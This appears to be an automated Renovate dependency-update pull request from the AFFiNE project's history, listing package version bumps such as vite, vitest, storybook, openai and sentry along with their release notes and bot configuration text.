| [openai](https://redirect.github.com/openai/openai-node) | [`4.73.1` -> `4.74.0`](https://renovatebot.com/diffs/npm/openai/4.73.1/4.74.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.73.1/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.73.1/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.0` -> `9.4.1`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.0/9.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.0/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.0/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.2` -> `15.1.3`](https://renovatebot.com/diffs/npm/react-i18next/15.1.2/15.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.1.2/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.1.2/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-virtuoso](https://virtuoso.dev/) ([source](https://redirect.github.com/petyosi/react-virtuoso)) | [`4.12.2` -> `4.12.3`](https://renovatebot.com/diffs/npm/react-virtuoso/4.12.2/4.12.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-virtuoso/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-virtuoso/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-virtuoso/4.12.2/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-virtuoso/4.12.2/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/storybook/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tinybench](https://redirect.github.com/tinylibs/tinybench) | [`3.0.6` -> `3.0.7`](https://renovatebot.com/diffs/npm/tinybench/3.0.6/3.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tinybench/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tinybench/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tinybench/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tinybench/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.1` -> `0.27.2`](https://renovatebot.com/diffs/npm/typedoc/0.27.1/0.27.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.1/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.1/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.1` -> `6.0.2`](https://renovatebot.com/diffs/npm/vite/6.0.1/6.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/vitest/2.1.6/2.1.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.7.2` -> `8.7.3` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.7.2/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.7.2/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.703.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37030-2024-12-02)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.701.0...v3.703.0)

##### Features

-   **client-s3:** Amazon S3 introduces support for AWS Dedicated Local Zones ([a4b4303](https://redirect.github.com/aws/aws-sdk-js-v3/commit/a4b43038cb15c3f1ff395194e3500b9d9a8c19d8))

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.42.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.42.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.41.0...8.42.0)

##### Important Changes

-   **feat(react): React Router v7 support (library) ([#&#8203;14513](https://redirect.github.com/getsentry/sentry-javascript/pull/14513))**

    This release adds support for [React Router v7 (library mode)](https://reactrouter.com/home#react-router-as-a-library).
    Check out the docs on how to set up the integration: [Sentry React Router v7 Integration Docs](https://docs.sentry.io/platforms/javascript/guides/react/features/react-router/v7/)

##### Deprecations

-   **feat: Warn about source-map generation ([#&#8203;14533](https://redirect.github.com/getsentry/sentry-javascript/pull/14533))**

    In the next major version of the SDK we will change how source maps are generated when the SDK is added to an application.
    Currently, the implementation varies a lot between different SDKs and can be difficult to understand.
    Moving forward, our goal is to turn on source maps for every framework, unless we detect that they are explicitly turned off.
    Additionally, if we end up enabling source maps, we will emit a log message that we did so.

    With this particular release, we are emitting warnings that source map generation will change in the future and we print instructions on how to prepare for the next major.

-   **feat(nuxt): Deprecate `tracingOptions` in favor of `vueIntegration` ([#&#8203;14530](https://redirect.github.com/getsentry/sentry-javascript/pull/14530))**

    Currently it is possible to configure tracing options in two places in the Sentry Nuxt SDK:

    -   In `Sentry.init()`
    -   Inside `tracingOptions` in `Sentry.init()`

    For tree-shaking purposes and alignment with the Vue SDK, it is now recommended to instead use the newly exported `vueIntegration()` and its `tracingOptions` option to configure tracing options in the Nuxt SDK:

    ```ts
    // sentry.client.config.ts
    import * as Sentry from '@&#8203;sentry/nuxt';

    Sentry.init({
      // ...
      integrations: [
        Sentry.vueIntegration({
          tracingOptions: {
            trackComponents: true,
          },
        }),
      ],
    });
    ```

##### Other Changes

-   feat(browser-utils): Update `web-vitals` to v4.2.4 ([#&#8203;14439](https://redirect.github.com/getsentry/sentry-javascript/pull/14439))
-   feat(nuxt): Expose `vueIntegration` ([#&#8203;14526](https://redirect.github.com/getsentry/sentry-javascript/pull/14526))
-   fix(feedback): Handle css correctly in screenshot mode ([#&#8203;14535](https://redirect.github.com/getsentry/sentry-javascript/pull/14535))

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.1 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.84 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.61 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 72.47 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 62.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 76.79 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.28 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.86 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.72 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.53 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.8 KB   |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.49 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.25 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.38 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.25 KB  |
| CDN Bundle                                                       | 24.32 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.29 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.15 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 77.49 KB  |
| CDN Bundle - uncompressed                                        | 71.45 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 110.76 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 223.83 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 237.05 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.78 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.14 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 135.08 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 97.13 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 109.43 KB |

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.4.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#846)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.4.5...v8.4.6)

-   Addon Test: Use pathe for better windows support - [#&#8203;29676](https://redirect.github.com/storybookjs/storybook/pull/29676), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Angular: Default to standalone components in Angular v19 - [#&#8203;29677](https://redirect.github.com/storybookjs/storybook/pull/29677), thanks [@&#8203;ingowagner](https://redirect.github.com/ingowagner)!
-   Frameworks: Add Vite 6 support - [#&#8203;29710](https://redirect.github.com/storybookjs/storybook/pull/29710), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Portable stories: Support multiple annotation notations from preview - [#&#8203;29733](https://redirect.github.com/storybookjs/storybook/pull/29733), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   React: Upgrade react-docgen-typescript to support Vite 6 - [#&#8203;29724](https://redirect.github.com/storybookjs/storybook/pull/29724), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Svelte: Support `@sveltejs/vite-plugin-svelte` v5 - [#&#8203;29731](https://redirect.github.com/storybookjs/storybook/pull/29731), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/coverage-istanbul)</summary>

### [`v2.1.8`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v2.1.8)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8)

#####    🐞 Bug Fixes

-   Support Node 21  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8)

### [`v2.1.7`](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7)

</details>

<details>
<summary>motdotla/dotenv (dotenv)</summary>

### [`v16.4.6`](https://redirect.github.com/motdotla/dotenv/blob/HEAD/CHANGELOG.md#1646-2024-12-02)

[Compare Source](https://redirect.github.com/motdotla/dotenv/compare/v16.4.5...v16.4.6)

##### Changed

-   Clean up stale dev dependencies [#&#8203;847](https://redirect.github.com/motdotla/dotenv/pull/847)
-   Various README updates clarifying usage and alternative solutions using [dotenvx](https://redirect.github.com/dotenvx/dotenvx)

</details>

<details>
<summary>Urigo/graphql-scalars (graphql-scalars)</summary>

### [`v1.24.0`](https://redirect.github.com/Urigo/graphql-scalars/blob/HEAD/CHANGELOG.md#1240)

[Compare Source](https://redirect.github.com/Urigo/graphql-scalars/compare/v1.23.0...v1.24.0)

##### Minor Changes

-   [`e5a3910`](https://redirect.github.com/Urigo/graphql-scalars/commit/e5a39101db92e9c3066d0045a4bf4e040e56c447)
    Thanks [@&#8203;ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu)! - add GeoJSON scalar

-   [`e5a3910`](https://redirect.github.com/Urigo/graphql-scalars/commit/e5a39101db92e9c3066d0045a4bf4e040e56c447)
    Thanks [@&#8203;ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu)! - Add \`CountryName\` scalar

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v8.27.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#8270-2024-11-30)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v8.26.0...v8.27.0)

##### Features

-   **api:** deprecate `Config.init()` ([d4b5987](https://gitlab.com/html-validate/html-validate/commit/d4b5987a92da01a2373354373544a3f256996391))
-   **config:** lazy load transformers ([d82bc57](https://gitlab.com/html-validate/html-validate/commit/d82bc57d3d86849151d7b4db286b93deab21c4d9)), closes [#&#8203;194](https://gitlab.com/html-validate/html-validate/issues/194)

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.3`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.3)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.2...v15.0.3)

##### Bug Fixes

-   update punctuation regex syntax to fix babel mistaken transpile ([#&#8203;3547](https://redirect.github.com/markedjs/marked/issues/3547)) ([9b988c4](https://redirect.github.com/markedjs/marked/commit/9b988c47bd01869914ae891b6dd62932b05a6418))

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.21`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.21)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21)

#### What's Changed

-   feat(napi): allow us to create nest function from closure by [@&#8203;richerfu](https://redirect.github.com/richerfu) in [https://github.com/napi-rs/napi-rs/pull/2360](https://redirect.github.com/napi-rs/napi-rs/pull/2360)
-   feat(napi): implement `ValidateNapiValue` for HashMap with any hasher by [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2374](https://redirect.github.com/napi-rs/napi-rs/pull/2374)
-   feat(napi): implement `ValidateNapiValue` for HashSet with any hasher by [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2377](https://redirect.github.com/napi-rs/napi-rs/pull/2377)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21

</details>

<details>
<summary>nrwl/nx (nx)</summary>

### [`v20.1.4`](https://redirect.github.com/nrwl/nx/releases/tag/20.1.4)

[Compare Source](https://redirect.github.com/nrwl/nx/compare/20.1.3...20.1.4)

#### 20.1.4 (2024-11-28)

##### 🚀 Features

-   **misc:** replace tutorials with social links in create-nx-workspace ([#&#8203;29085](https://redirect.github.com/nrwl/nx/pull/29085))
-   **nx-dev:** update top-level navbar ([0f330590b7](https://redirect.github.com/nrwl/nx/commit/0f330590b7))

##### 🩹 Fixes

-   **angular:** ngrx-root-store generator check ngModule path ([#&#8203;29068](https://redirect.github.com/nrwl/nx/pull/29068))
-   **core:** don't generate nxCloudId if running nx connect through nx console ([#&#8203;29060](https://redirect.github.com/nrwl/nx/pull/29060))
-   **core:** update to the async version of getting powerpack information ([#&#8203;29088](https://redirect.github.com/nrwl/nx/pull/29088))
-   **misc:** update artifact generator option descriptions and cleanup leftovers ([#&#8203;29077](https://redirect.github.com/nrwl/nx/pull/29077))
-   **module-federation:** use 'hoisted' runtime for node to prevent issues with eager sharing ([#&#8203;29104](https://redirect.github.com/nrwl/nx/pull/29104))
-   **nest:** Fix generators (guard, interceptor etc...) path to not duplicate when provided ([#&#8203;29084](https://redirect.github.com/nrwl/nx/pull/29084))
-   **nest:** update project config to enable artifacts to be built as dev ([#&#8203;29110](https://redirect.github.com/nrwl/nx/pull/29110))
-   **nextjs:** ensure next apps config is correctly checked when using jest ([#&#8203;29066](https://redirect.github.com/nrwl/nx/pull/29066))
-   **nextjs:** Add support for next.config.ts for executors ([#&#8203;29071](https://redirect.github.com/nrwl/nx/pull/29071))

##### ❤️ Thank You

-   Colum Ferry [@&#8203;Coly010](https://redirect.github.com/Coly010)
-   Jason Jean [@&#8203;FrozenPandaz](https://redirect.github.com/FrozenPandaz)
-   Juri [@&#8203;juristr](https://redirect.github.com/juristr)
-   Leosvel Pérez Espinosa [@&#8203;leosvelperez](https://redirect.github.com/leosvelperez)
-   MaxKless [@&#8203;MaxKless](https://redirect.github.com/MaxKless)
-   Nicholas Cunningham [@&#8203;ndcunningham](https://redirect.github.com/ndcunningham)

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.74.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4740-2024-12-02)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0)

Full Changelog: [v4.73.1...v4.74.0](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0)

##### Features

-   **internal:** make git install file structure match npm ([#&#8203;1204](https://redirect.github.com/openai/openai-node/issues/1204)) ([e7c4c6d](https://redirect.github.com/openai/openai-node/commit/e7c4c6d23adbe52300053a8d35db6e341c438703))

</details>

<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>

### [`v9.4.1`](https://redirect.github.com/gpbl/react-day-picker/releases/tag/v9.4.1)

[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1)

This release improves support for screen readers and fixes a VoiceOver issue when navigating the calendar.

#### What's Changed

-   fix(a11y): improve screen reader and VoiceOver support by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2609](https://redirect.github.com/gpbl/react-day-picker/pull/2609)
-   feat(a11y): added `role` and `aria-label` props by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2609](https://redirect.github.com/gpbl/react-day-picker/pull/2609)
-   chore(style): remove unused CSS variable by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2610](https://redirect.github.com/gpbl/react-day-picker/pull/2610)
-   chore: use callbacks for dropdown event handlers by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2602](https://redirect.github.com/gpbl/react-day-picker/pull/2602)

**Full Changelog**: https://github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.1.3`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1513)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.1.2...v15.1.3)

-   fix: Self-closing REACT components in translation strings should not attempt to replace the component's children [1815](https://redirect.github.com/i18next/react-i18next/issues/1815) [1816](https://redirect.github.com/i18next/react-i18next/pull/1816)

</details>

<details>
<summary>petyosi/react-virtuoso (react-virtuoso)</summary>

### [`v4.12.3`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/v4.12.3)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/v4.12.2...v4.12.3)

##### Bug Fixes

-   **gridSystem.ts:** call onEndReached when the data is less than cont… ([#&#8203;1166](https://redirect.github.com/petyosi/react-virtuoso/issues/1166)) ([7a80ea2](https://redirect.github.com/petyosi/react-virtuoso/commit/7a80ea20b14fde47534a997558e80dceaaa0d30f))

</details>

<details>
<summary>tinylibs/tinybench (tinybench)</summary>

### [`v3.0.7`](https://redirect.github.com/tinylibs/tinybench/releases/tag/v3.0.7)

[Compare Source](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7)

#####    🐞 Bug Fixes

-   Do not allow task override by name  -  by [@&#8203;jerome-benoit](https://redirect.github.com/jerome-benoit) in [https://github.com/tinylibs/tinybench/issues/197](https://redirect.github.com/tinylibs/tinybench/issues/197) [<samp>(b40fe)</samp>](https://redirect.github.com/tinylibs/tinybench/commit/b40fedb)

#####     [View changes on GitHub](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.2`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0272-2024-11-29)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.1...v0.27.2)

##### Bug Fixes

-   Fix crash with TypeScript 5.5.x, [#&#8203;2789](https://redirect.github.com/TypeStrong/TypeDoc/issues/2789).

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small602-2024-12-02-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.1...v6.0.2)

-   chore: run typecheck in unit tests ([#&#8203;18858](https://redirect.github.com/vitejs/vite/issues/18858)) ([49f20bb](https://redirect.github.com/vitejs/vite/commit/49f20bb77749ec7b44344fd9c42d593ae20c78f0)), closes [#&#8203;18858](https://redirect.github.com/vitejs/vite/issues/18858)
-   chore: update broken links in changelog ([#&#8203;18802](https://redirect.github.com/vitejs/vite/issues/18802)) ([cb754f8](https://redirect.github.com/vitejs/vite/commit/cb754f8acc1b579dae9fe70a08e3ef53984402cc)), closes [#&#8203;18802](https://redirect.github.com/vitejs/vite/issues/18802)
-   chore: update broken links in changelog ([#&#8203;18804](https://redirect.github.com/vitejs/vite/issues/18804)) ([47ec49f](https://redirect.github.com/vitejs/vite/commit/47ec49ffa170cac5d04cf2eef01f45e0b5ccde03)), closes [#&#8203;18804](https://redirect.github.com/vitejs/vite/issues/18804)
-   fix: don't store temporary vite config file in `node_modules` if deno ([#&#8203;18823](https://redirect.github.com/vitejs/vite/issues/18823)) ([a20267b](https://redirect.github.com/vitejs/vite/commit/a20267bb93118468a2e20f0f77b77ed7bfa94165)), closes [#&#8203;18823](https://redirect.github.com/vitejs/vite/issues/18823)
-   fix(css): referencing aliased svg asset with lightningcss enabled errored ([#&#8203;18819](https://redirect.github.com/vitejs/vite/issues/18819)) ([ae68958](https://redirect.github.com/vitejs/vite/commit/ae6895869157e48b32088f0a1f85d2fddb2d713f)), closes [#&#8203;18819](https://redirect.github.com/vitejs/vite/issues/18819)
-   fix(manifest): use `style.css` as a key for the style file for `cssCodesplit: false` ([#&#8203;18820](https://redirect.github.com/vitejs/vite/issues/18820)) ([ec51115](https://redirect.github.com/vitejs/vite/commit/ec511152558cb573acf55e88e5244bdead1b5a17)), closes [#&#8203;18820](https://redirect.github.com/vitejs/vite/issues/18820)
-   fix(optimizer): resolve all promises when cancelled ([#&#8203;18826](https://redirect.github.com/vitejs/vite/issues/18826)) ([d6e6194](https://redirect.github.com/vitejs/vite/commit/d6e6194706f0e3a889caa9303de2293cc0f131b2)), closes [#&#8203;18826](https://redirect.github.com/vitejs/vite/issues/18826)
-   fix(resolve): don't set builtinModules to `external` by default ([#&#8203;18821](https://redirect.github.com/vitejs/vite/issues/18821)) ([2250ffa](https://redirect.github.com/vitejs/vite/commit/2250ffac62e55c89232d745d2f99ece539be9195)), closes [#&#8203;18821](https://redirect.github.com/vitejs/vite/issues/18821)
-   fix(ssr): set `ssr.target: 'webworker'` defaults as fallback ([#&#8203;18827](https://redirect.github.com/vitejs/vite/issues/18827)) ([b39e696](https://redirect.github.com/vitejs/vite/commit/b39e69638b3e2e658ff6712be83b549b28103c3d)), closes [#&#8203;18827](https://redirect.github.com/vitejs/vite/issues/18827)
-   feat(css): format lightningcss error ([#&#8203;18818](https://redirect.github.com/vitejs/vite/issues/18818)) ([dac7992](https://redirect.github.com/vitejs/vite/commit/dac7992e8725234007c7515f86f543992874c7b8)), closes [#&#8203;18818](https://redirect.github.com/vitejs/vite/issues/18818)
-   refactor: make properties of ResolvedServerOptions and ResolvedPreviewOptions required ([#&#8203;18796](https://redirect.github.com/vitejs/vite/issues/18796)) ([51a5569](https://redirect.github.com/vitejs/vite/commit/51a5569e66bd7f0de79ac14b9e902d1382ccd0aa)), closes [#&#8203;18796](https://redirect.github.com/vitejs/vite/issues/18796)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 06:31:13 +00:00
renovate c362275f06 chore: bump up @blocksuite/icons version to v2.1.73 (#8980)
This PR contains the following updates:

